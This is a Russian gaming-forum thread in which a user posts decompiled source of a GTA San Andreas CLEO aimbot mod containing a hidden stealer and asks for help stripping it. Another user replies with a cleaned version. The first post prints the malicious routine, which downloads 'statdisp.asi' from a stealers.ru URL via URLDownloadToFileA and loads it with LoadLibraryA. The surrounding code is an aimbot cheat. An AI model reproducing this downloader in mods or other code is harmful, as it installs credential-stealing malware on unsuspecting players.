Помогите с CLEO[Stealer]
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MaximkaCS |
Дата: Вторник, 14.08.2018, 14:00 | Сообщение # 1
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Сообщений: 60
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У меня давно уже есть клео в котором есть слиллер(я знал какое это клео), но я знал про свою безопасность потому что у меня есть антистиллер от Даркпикселя. Я открыл это клео в SannyBuilder3, клео заскриптировано, а в AVP Cleo_Stealer[DECRYPTED], ну я там зашёл в папку temp и у меня есть исходник этого клео со стиллером. Я не программист, пожалуйста помогите с этим клео, отредактируйте его чтобы не было стиллера.
Вот исходник: rgho.st
Цитата // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- 0AC6: 0@ = label @$SPRINGFIELD_UGBASE_2701 offset 0AC8: 1@ = allocate_memory_size 224 0AA6: call_method 4606176 struct 1@ num_params 0 pop 0 0A8E: 2@ = 1@ + 16 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 20 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 196 // int 0A8C: write_memory 2@ size 1 value 1 virtual_protect 1 0AA6: call_method 4606976 struct 1@ num_params 1 pop 0 11056172 0AC6: 0@ = label @$SPRINGFIELD_UGBASE_178 offset 0A9F: 1@ = current_thread_pointer 0A8E: 2@ = 1@ + 16 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 20 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
:$SPRINGFIELD_UGBASE_178 0000: NOP wait 2000 thread "$SPRINGFIELD_UGBASE" 03F0: enable_text_draw 1 31@ = 0 wait 0 if 0AB0: key_pressed 121 else_jump @$SPRINGFIELD_UGBASE_160 if 31@ == 0 else_jump @$SPRINGFIELD_UGBASE_122 0AD1: show_formatted_text_highpriority "Aimbot ~g~enabled" time 1000 31@ = 1 wait 200 jump @$SPRINGFIELD_UGBASE_160 0AD1: show_formatted_text_highpriority "Aimbot ~r~disabled" time 1000 31@ = 0 wait 200 if 31@ == 1 else_jump @$SPRINGFIELD_UGBASE_273 if and 0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET 82D8: not actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_224 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@ jump @$SPRINGFIELD_UGBASE_273 if and 02D8: actor $PLAYER_ACTOR current_weapon == 34 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1963 1 150.0 2@ else_jump @$SPRINGFIELD_UGBASE_273 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@ jump @$SPRINGFIELD_UGBASE_41 0085: 2@ = 0@ // (int) if and 056D: actor 2@ defined 00E1: player 0 pressed_key 6 else_jump @$SPRINGFIELD_UGBASE_585 if and not Actor.Dead(2@) 02CB: actor 2@ bounding_sphere_visible else_jump @$SPRINGFIELD_UGBASE_585 0A96: 6@ = actor 2@ struct 6@ += 68 0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0 6@ += 4 0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0 6@ += 4 0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0 Actor.StorePos(2@, 6@, 7@, 8@) 10@ = 5 11@ = 5 005A: 10@ += 11@ // (int) 0093: 10@ = integer 10@ to_float 12@ = 17.0 12@ /= 360.0 006B: 3@ *= 12@ // (float) 006B: 4@ *= 12@ // (float) 006B: 5@ *= 12@ // (float) 006B: 3@ *= 10@ // (float) 006B: 4@ *= 10@ // (float) 006B: 5@ *= 10@ // (float) 005B: 6@ += 3@ // (float) 005B: 7@ += 4@ // (float) 005B: 8@ += 5@ // (float) if 02D8: actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_563 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_590 1 2@ 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_968 4 2@ 6@ 7@ 8@ 0AB2: ret 0 31@ = 6.0 29@ = 255 28@ = 55 27@ = 1.0 if 31@ > 8.0 else_jump @$SPRINGFIELD_UGBASE_653 30@ = 1 if not 31@ >= 6.0 else_jump @$SPRINGFIELD_UGBASE_681 30@ = 0 if 30@ == 0 else_jump @$SPRINGFIELD_UGBASE_709 31@ += 0.05 if 30@ == 1 else_jump @$SPRINGFIELD_UGBASE_737 31@ -= 0.05 04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 1@ 2@ 3@ 4@ 5@ 0087: 1@ = 4@ // (float) 005B: 1@ += 31@ // (float) 038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255 0087: 1@ = 4@ // (float) 0063: 1@ -= 31@ // (float) 038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255 0087: 1@ = 5@ // (float) 005B: 1@ += 31@ // (float) 038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255 0087: 1@ = 5@ // (float) 0063: 1@ -= 31@ // (float) 038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255 0AB2: ret 0 0087: 4@ = 1@ // (float) 0087: 5@ = 2@ // (float) 0087: 6@ = 3@ // (float) 068D: get_camera_position_to 1@ 2@ 3@ 04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0 0063: 1@ -= 4@ // (float) 0063: 2@ -= 5@ // (float) 0096: make 1@ absolute_float 0096: make 2@ absolute_float 0087: 10@ = 1@ // (float) 0087: 11@ = 2@ // (float) 006B: 10@ *= 10@ // (float) 006B: 11@ *= 11@ // (float) 005B: 10@ += 11@ // (float) 01FB: 10@ = square_root 10@ 0087: 11@ = 1@ // (float) 0087: 12@ = 10@ // (float) 0073: 11@ /= 12@ // (float) 0AA5: call 4327328 num_params 1 pop 1 11@ 0AE9: pop_float 12@ 0AA5: call 4775488 num_params 1 pop 1 11@ 0AE9: pop_float 13@ if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1863 0 16@ else_jump @$SPRINGFIELD_UGBASE_1302 if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1364 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@ else_jump @$SPRINGFIELD_UGBASE_1302 if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1307 6 4@ 5@ 6@ 7@ 8@ 9@ else_jump @$SPRINGFIELD_UGBASE_1302 15@ += 0.0387 0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0 0AB2: ret 0 if 06BD: no_obstacles_between 3@ 4@ 5@ and 0@ 1@ 2@ solid 1 car 0 actor 0 object 0 particle 0 else_jump @$SPRINGFIELD_UGBASE_1357 0485: return_true jump @$SPRINGFIELD_UGBASE_1359 059A: return_false 0AB2: ret 0 if 6@ == 5 else_jump @$SPRINGFIELD_UGBASE_1429 7@ = 0.011 8@ = 0.011 9@ = 1.5595 10@ = 1.582 jump @$SPRINGFIELD_UGBASE_1599 if 6@ == 6 else_jump @$SPRINGFIELD_UGBASE_1559 if 02D8: actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_1512 7@ = 0.039 8@ = 0.039 9@ = 1.532 10@ = 1.61 jump @$SPRINGFIELD_UGBASE_1552 7@ = 0.02 8@ = 0.02 9@ = 1.5507 10@ = 1.5907 jump @$SPRINGFIELD_UGBASE_1599 7@ = -0.003 8@ = -0.003 9@ = 1.572 10@ = 1.568 if and 0025: 2@ > 0@ // (float) 0025: 3@ > 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1642 0063: 5@ -= 8@ // (float) 0087: 15@ = 5@ // (float) if and 0025: 2@ > 0@ // (float) 8035: not 3@ >= 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1695 5@ *= -1.0 0063: 5@ -= 7@ // (float) 0087: 15@ = 5@ // (float) if and 8035: not 2@ >= 0@ // (float) 0025: 3@ > 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1738 005B: 4@ += 9@ // (float) 0087: 15@ = 4@ // (float) if and 8035: not 2@ >= 0@ // (float) 8035: not 3@ >= 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1791 4@ *= -1.0
:$SPRINGFIELD_UGBASE_1953 0063: 4@ -= 10@ // (float) 0087: 15@ = 4@ // (float) 0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0 0063: 11@ -= 15@ // (float) if and not 11@ >= 0.18 11@ > -0.18 else_jump @$SPRINGFIELD_UGBASE_1853 0485: return_true jump @$SPRINGFIELD_UGBASE_1855 059A: return_false 0AB2: ret 1 15@ 0A96: 0@ = actor $PLAYER_ACTOR struct 0@ += 1816 0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0 if or 1@ == 2 1@ == 3 1@ == 4 1@ == 5 1@ == 6 1@ == 7 else_jump @$SPRINGFIELD_UGBASE_1953 0485: return_true jump @$SPRINGFIELD_UGBASE_1955 059A: return_false 0AB2: ret 1 1@ 28@ = 0.0 0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0 29@ += 4 0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0 30@ = 0 0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0 29@ += 1 if and 31@ >= 0 128 > 31@ else_jump @$SPRINGFIELD_UGBASE_2299 005A: 31@ += 30@ // (int) if 056D: actor 31@ defined else_jump @$SPRINGFIELD_UGBASE_2299 if 803C: not $PLAYER_ACTOR == 31@ // (int) else_jump @$SPRINGFIELD_UGBASE_2299 04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0 068D: get_camera_position_to 24@ 23@ 22@ if and 06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 0 actor 0 object 0 particle 0 not Actor.Driving(31@) not Actor.Dead(31@) 02CB: actor 31@ bounding_sphere_visible else_jump @$SPRINGFIELD_UGBASE_2299 04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 10@ 11@ 12@ 13@ 14@ 0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@ if 0035: 28@ >= 15@ // (float) else_jump @$SPRINGFIELD_UGBASE_2299 0AB2: ret 1 31@ 30@ += 256 30@ > 35584 else_jump @$SPRINGFIELD_UGBASE_2013 28@ += 8.0 001D: 28@ > 0@ // (int) else_jump @$SPRINGFIELD_UGBASE_1973 0AB2: ret 1 -1 0AC7: 14@ = var 0@ offset 0AC7: 15@ = var 3@ offset 0AC7: 16@ = var 6@ offset 0AC7: 17@ = var 9@ offset 0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@ 12@ = 640.0 13@ = 448.0 0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0 0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0 0093: 14@ = integer 14@ to_float 0093: 15@ = integer 15@ to_float 0073: 12@ /= 14@ // (float) 0073: 13@ /= 15@ // (float) 006B: 3@ *= 12@ // (float) 006B: 4@ *= 13@ // (float) 0AB2: ret 2 3@ 4@
:$SPRINGFIELD_UGBASE_2701 0000: NOP wait 3000 if 0AAB: file_exists "statdisp.asi" else_jump @$SPRINGFIELD_UGBASE_34 0AC8: 1@ = allocate_memory_size 256 0AC8: 2@ = allocate_memory_size 256 0AC8: 4@ = allocate_memory_size 128 0AD3: 2@ = format "statdisp.asi" 0AD3: 1@ = format "https:%c%cstealers.ru/getsteal/00025475" 47 47 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_260 2 2@ 1@ 3@ wait 0 0AAB: file_exists "statdisp.asi" else_jump @$SPRINGFIELD_UGBASE_148 0AC9: free_allocated_memory 1@ 0AC9: free_allocated_memory 2@ 0AC9: free_allocated_memory 4@ 0AA2: 31@ = load_library "Kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "LoadLibraryA" library 31@ // IF and SET 0AA7: call_function 30@ num_params 1 pop 0 "statdisp.asi" 29@ end_thread 0AA2: 10@ = load_library "Urlmon.dll" // IF and SET 0AA4: 11@ = get_proc_address "URLDownloadToFileA" library 10@ // IF and SET 0AA7: call_function 11@ num_params 5 pop 0 0 0 0@ 1@ 0 12@ 0AB2: ret 1 12@
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Сообщение отредактировал MaximkaCS - Вторник, 14.08.2018, 14:04 |
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slavawar |
Дата: Вторник, 14.08.2018, 14:28 | Сообщение # 2
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Сообщений: 172
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Код // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- 0AC6: 0@ = label @$SPRINGFIELD_UGBASE_2701 offset 0AC8: 1@ = allocate_memory_size 224 0AA6: call_method 4606176 struct 1@ num_params 0 pop 0 0A8E: 2@ = 1@ + 16 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 20 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 196 // int 0A8C: write_memory 2@ size 1 value 1 virtual_protect 1 0AA6: call_method 4606976 struct 1@ num_params 1 pop 0 11056172 0AC6: 0@ = label @$SPRINGFIELD_UGBASE_178 offset 0A9F: 1@ = current_thread_pointer 0A8E: 2@ = 1@ + 16 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 20 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
:$SPRINGFIELD_UGBASE_178 0000: NOP wait 2000 thread "$SPRINGFIELD_UGBASE" 03F0: enable_text_draw 1 31@ = 0 wait 0 if 0AB0: key_pressed 121 else_jump @$SPRINGFIELD_UGBASE_160 if 31@ == 0 else_jump @$SPRINGFIELD_UGBASE_122 0AD1: show_formatted_text_highpriority "Aimbot ~g~enabled" time 1000 31@ = 1 wait 200 jump @$SPRINGFIELD_UGBASE_160 0AD1: show_formatted_text_highpriority "Aimbot ~r~disabled" time 1000 31@ = 0 wait 200 if 31@ == 1 else_jump @$SPRINGFIELD_UGBASE_273 if and 0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET 82D8: not actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_224 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@ jump @$SPRINGFIELD_UGBASE_273 if and 02D8: actor $PLAYER_ACTOR current_weapon == 34 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1963 1 150.0 2@ else_jump @$SPRINGFIELD_UGBASE_273 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@ jump @$SPRINGFIELD_UGBASE_41 0085: 2@ = 0@ // (int) if and 056D: actor 2@ defined 00E1: player 0 pressed_key 6 else_jump @$SPRINGFIELD_UGBASE_585 if and not Actor.Dead(2@) 02CB: actor 2@ bounding_sphere_visible else_jump @$SPRINGFIELD_UGBASE_585 0A96: 6@ = actor 2@ struct 6@ += 68 0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0 6@ += 4 0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0 6@ += 4 0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0 Actor.StorePos(2@, 6@, 7@, 8@) 10@ = 5 11@ = 5 005A: 10@ += 11@ // (int) 0093: 10@ = integer 10@ to_float 12@ = 17.0 12@ /= 360.0 006B: 3@ *= 12@ // (float) 006B: 4@ *= 12@ // (float) 006B: 5@ *= 12@ // (float) 006B: 3@ *= 10@ // (float) 006B: 4@ *= 10@ // (float) 006B: 5@ *= 10@ // (float) 005B: 6@ += 3@ // (float) 005B: 7@ += 4@ // (float) 005B: 8@ += 5@ // (float) if 02D8: actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_563 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_590 1 2@ 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_968 4 2@ 6@ 7@ 8@ 0AB2: ret 0 31@ = 6.0 29@ = 255 28@ = 55 27@ = 1.0 if 31@ > 8.0 else_jump @$SPRINGFIELD_UGBASE_653 30@ = 1 if not 31@ >= 6.0 else_jump @$SPRINGFIELD_UGBASE_681 30@ = 0 if 30@ == 0 else_jump @$SPRINGFIELD_UGBASE_709 31@ += 0.05 if 30@ == 1 else_jump @$SPRINGFIELD_UGBASE_737 31@ -= 0.05 04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 1@ 2@ 3@ 4@ 5@ 0087: 1@ = 4@ // (float) 005B: 1@ += 31@ // (float) 038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255 0087: 1@ = 4@ // (float) 0063: 1@ -= 31@ // (float) 038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255 0087: 1@ = 5@ // (float) 005B: 1@ += 31@ // (float) 038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255 0087: 1@ = 5@ // (float) 0063: 1@ -= 31@ // (float) 038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255 0AB2: ret 0 0087: 4@ = 1@ // (float) 0087: 5@ = 2@ // (float) 0087: 6@ = 3@ // (float) 068D: get_camera_position_to 1@ 2@ 3@ 04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0 0063: 1@ -= 4@ // (float) 0063: 2@ -= 5@ // (float) 0096: make 1@ absolute_float 0096: make 2@ absolute_float 0087: 10@ = 1@ // (float) 0087: 11@ = 2@ // (float) 006B: 10@ *= 10@ // (float) 006B: 11@ *= 11@ // (float) 005B: 10@ += 11@ // (float) 01FB: 10@ = square_root 10@ 0087: 11@ = 1@ // (float) 0087: 12@ = 10@ // (float) 0073: 11@ /= 12@ // (float) 0AA5: call 4327328 num_params 1 pop 1 11@ 0AE9: pop_float 12@ 0AA5: call 4775488 num_params 1 pop 1 11@ 0AE9: pop_float 13@ if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1863 0 16@ else_jump @$SPRINGFIELD_UGBASE_1302 if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1364 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@ else_jump @$SPRINGFIELD_UGBASE_1302 if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1307 6 4@ 5@ 6@ 7@ 8@ 9@ else_jump @$SPRINGFIELD_UGBASE_1302 15@ += 0.0387 0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0 0AB2: ret 0 if 06BD: no_obstacles_between 3@ 4@ 5@ and 0@ 1@ 2@ solid 1 car 0 actor 0 object 0 particle 0 else_jump @$SPRINGFIELD_UGBASE_1357 0485: return_true jump @$SPRINGFIELD_UGBASE_1359 059A: return_false 0AB2: ret 0 if 6@ == 5 else_jump @$SPRINGFIELD_UGBASE_1429 7@ = 0.011 8@ = 0.011 9@ = 1.5595 10@ = 1.582 jump @$SPRINGFIELD_UGBASE_1599 if 6@ == 6 else_jump @$SPRINGFIELD_UGBASE_1559 if 02D8: actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_1512 7@ = 0.039 8@ = 0.039 9@ = 1.532 10@ = 1.61 jump @$SPRINGFIELD_UGBASE_1552 7@ = 0.02 8@ = 0.02 9@ = 1.5507 10@ = 1.5907 jump @$SPRINGFIELD_UGBASE_1599 7@ = -0.003 8@ = -0.003 9@ = 1.572 10@ = 1.568 if and 0025: 2@ > 0@ // (float) 0025: 3@ > 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1642 0063: 5@ -= 8@ // (float) 0087: 15@ = 5@ // (float) if and 0025: 2@ > 0@ // (float) 8035: not 3@ >= 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1695 5@ *= -1.0 0063: 5@ -= 7@ // (float) 0087: 15@ = 5@ // (float) if and 8035: not 2@ >= 0@ // (float) 0025: 3@ > 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1738 005B: 4@ += 9@ // (float) 0087: 15@ = 4@ // (float) if and 8035: not 2@ >= 0@ // (float) 8035: not 3@ >= 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1791 4@ *= -1.0
:$SPRINGFIELD_UGBASE_1953 0063: 4@ -= 10@ // (float) 0087: 15@ = 4@ // (float) 0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0 0063: 11@ -= 15@ // (float) if and not 11@ >= 0.18 11@ > -0.18 else_jump @$SPRINGFIELD_UGBASE_1853 0485: return_true jump @$SPRINGFIELD_UGBASE_1855 059A: return_false 0AB2: ret 1 15@ 0A96: 0@ = actor $PLAYER_ACTOR struct 0@ += 1816 0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0 if or 1@ == 2 1@ == 3 1@ == 4 1@ == 5 1@ == 6 1@ == 7 else_jump @$SPRINGFIELD_UGBASE_1953 0485: return_true jump @$SPRINGFIELD_UGBASE_1955 059A: return_false 0AB2: ret 1 1@ 28@ = 0.0 0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0 29@ += 4 0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0 30@ = 0 0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0 29@ += 1 if and 31@ >= 0 128 > 31@ else_jump @$SPRINGFIELD_UGBASE_2299 005A: 31@ += 30@ // (int) if 056D: actor 31@ defined else_jump @$SPRINGFIELD_UGBASE_2299 if 803C: not $PLAYER_ACTOR == 31@ // (int) else_jump @$SPRINGFIELD_UGBASE_2299 04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0 068D: get_camera_position_to 24@ 23@ 22@ if and 06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 0 actor 0 object 0 particle 0 not Actor.Driving(31@) not Actor.Dead(31@) 02CB: actor 31@ bounding_sphere_visible else_jump @$SPRINGFIELD_UGBASE_2299 04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 10@ 11@ 12@ 13@ 14@ 0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@ if 0035: 28@ >= 15@ // (float) else_jump @$SPRINGFIELD_UGBASE_2299 0AB2: ret 1 31@ 30@ += 256 30@ > 35584 else_jump @$SPRINGFIELD_UGBASE_2013 28@ += 8.0 001D: 28@ > 0@ // (int) else_jump @$SPRINGFIELD_UGBASE_1973 0AB2: ret 1 -1 0AC7: 14@ = var 0@ offset 0AC7: 15@ = var 3@ offset 0AC7: 16@ = var 6@ offset 0AC7: 17@ = var 9@ offset 0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@ 12@ = 640.0 13@ = 448.0 0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0 0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0 0093: 14@ = integer 14@ to_float 0093: 15@ = integer 15@ to_float 0073: 12@ /= 14@ // (float) 0073: 13@ /= 15@ // (float) 006B: 3@ *= 12@ // (float) 006B: 4@ *= 13@ // (float) 0AB2: ret 2 3@ 4@
Если будут ошибки, отпишись.
Мои темы: [AHK] Шифратор текста [AHK] Акцент 3 в 1 [C#] Генератор RP ников
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MaximkaCS |
Дата: Вторник, 14.08.2018, 14:50 | Сообщение # 3
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slavawar, Спасибо, помог Добавлено (14.08.2018, 15:00) --------------------------------------------- slavawar, А можешь ещё скомпилировать,у меня ошибка Imgur
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slavawar |
Дата: Среда, 15.08.2018, 21:36 | Сообщение # 4
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Ссылка на метку в начале осталась, попробуй так:
Код // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- 0AC6: 0@ = label @$SPRINGFIELD_UGBASE_2701 offset 0AC8: 1@ = allocate_memory_size 224 0AA6: call_method 4606176 struct 1@ num_params 0 pop 0 0A8E: 2@ = 1@ + 16 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 20 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 196 // int 0A8C: write_memory 2@ size 1 value 1 virtual_protect 1 0AA6: call_method 4606976 struct 1@ num_params 1 pop 0 11056172 0AC6: 0@ = label @$SPRINGFIELD_UGBASE_178 offset 0A9F: 1@ = current_thread_pointer 0A8E: 2@ = 1@ + 16 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1 0A8E: 2@ = 1@ + 20 // int 0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
:$SPRINGFIELD_UGBASE_178 0000: NOP wait 2000 thread "$SPRINGFIELD_UGBASE" 03F0: enable_text_draw 1 31@ = 0 wait 0 if 0AB0: key_pressed 121 else_jump @$SPRINGFIELD_UGBASE_160 if 31@ == 0 else_jump @$SPRINGFIELD_UGBASE_122 0AD1: show_formatted_text_highpriority "Aimbot ~g~enabled" time 1000 31@ = 1 wait 200 jump @$SPRINGFIELD_UGBASE_160 0AD1: show_formatted_text_highpriority "Aimbot ~r~disabled" time 1000 31@ = 0 wait 200 if 31@ == 1 else_jump @$SPRINGFIELD_UGBASE_273 if and 0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET 82D8: not actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_224 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@ jump @$SPRINGFIELD_UGBASE_273 if and 02D8: actor $PLAYER_ACTOR current_weapon == 34 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1963 1 150.0 2@ else_jump @$SPRINGFIELD_UGBASE_273 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@ jump @$SPRINGFIELD_UGBASE_41 0085: 2@ = 0@ // (int) if and 056D: actor 2@ defined 00E1: player 0 pressed_key 6 else_jump @$SPRINGFIELD_UGBASE_585 if and not Actor.Dead(2@) 02CB: actor 2@ bounding_sphere_visible else_jump @$SPRINGFIELD_UGBASE_585 0A96: 6@ = actor 2@ struct 6@ += 68 0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0 6@ += 4 0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0 6@ += 4 0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0 Actor.StorePos(2@, 6@, 7@, 8@) 10@ = 5 11@ = 5 005A: 10@ += 11@ // (int) 0093: 10@ = integer 10@ to_float 12@ = 17.0 12@ /= 360.0 006B: 3@ *= 12@ // (float) 006B: 4@ *= 12@ // (float) 006B: 5@ *= 12@ // (float) 006B: 3@ *= 10@ // (float) 006B: 4@ *= 10@ // (float) 006B: 5@ *= 10@ // (float) 005B: 6@ += 3@ // (float) 005B: 7@ += 4@ // (float) 005B: 8@ += 5@ // (float) if 02D8: actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_563 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_590 1 2@ 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_968 4 2@ 6@ 7@ 8@ 0AB2: ret 0 31@ = 6.0 29@ = 255 28@ = 55 27@ = 1.0 if 31@ > 8.0 else_jump @$SPRINGFIELD_UGBASE_653 30@ = 1 if not 31@ >= 6.0 else_jump @$SPRINGFIELD_UGBASE_681 30@ = 0 if 30@ == 0 else_jump @$SPRINGFIELD_UGBASE_709 31@ += 0.05 if 30@ == 1 else_jump @$SPRINGFIELD_UGBASE_737 31@ -= 0.05 04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 1@ 2@ 3@ 4@ 5@ 0087: 1@ = 4@ // (float) 005B: 1@ += 31@ // (float) 038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255 0087: 1@ = 4@ // (float) 0063: 1@ -= 31@ // (float) 038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255 0087: 1@ = 5@ // (float) 005B: 1@ += 31@ // (float) 038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255 0087: 1@ = 5@ // (float) 0063: 1@ -= 31@ // (float) 038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255 0AB2: ret 0 0087: 4@ = 1@ // (float) 0087: 5@ = 2@ // (float) 0087: 6@ = 3@ // (float) 068D: get_camera_position_to 1@ 2@ 3@ 04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0 0063: 1@ -= 4@ // (float) 0063: 2@ -= 5@ // (float) 0096: make 1@ absolute_float 0096: make 2@ absolute_float 0087: 10@ = 1@ // (float) 0087: 11@ = 2@ // (float) 006B: 10@ *= 10@ // (float) 006B: 11@ *= 11@ // (float) 005B: 10@ += 11@ // (float) 01FB: 10@ = square_root 10@ 0087: 11@ = 1@ // (float) 0087: 12@ = 10@ // (float) 0073: 11@ /= 12@ // (float) 0AA5: call 4327328 num_params 1 pop 1 11@ 0AE9: pop_float 12@ 0AA5: call 4775488 num_params 1 pop 1 11@ 0AE9: pop_float 13@ if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1863 0 16@ else_jump @$SPRINGFIELD_UGBASE_1302 if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1364 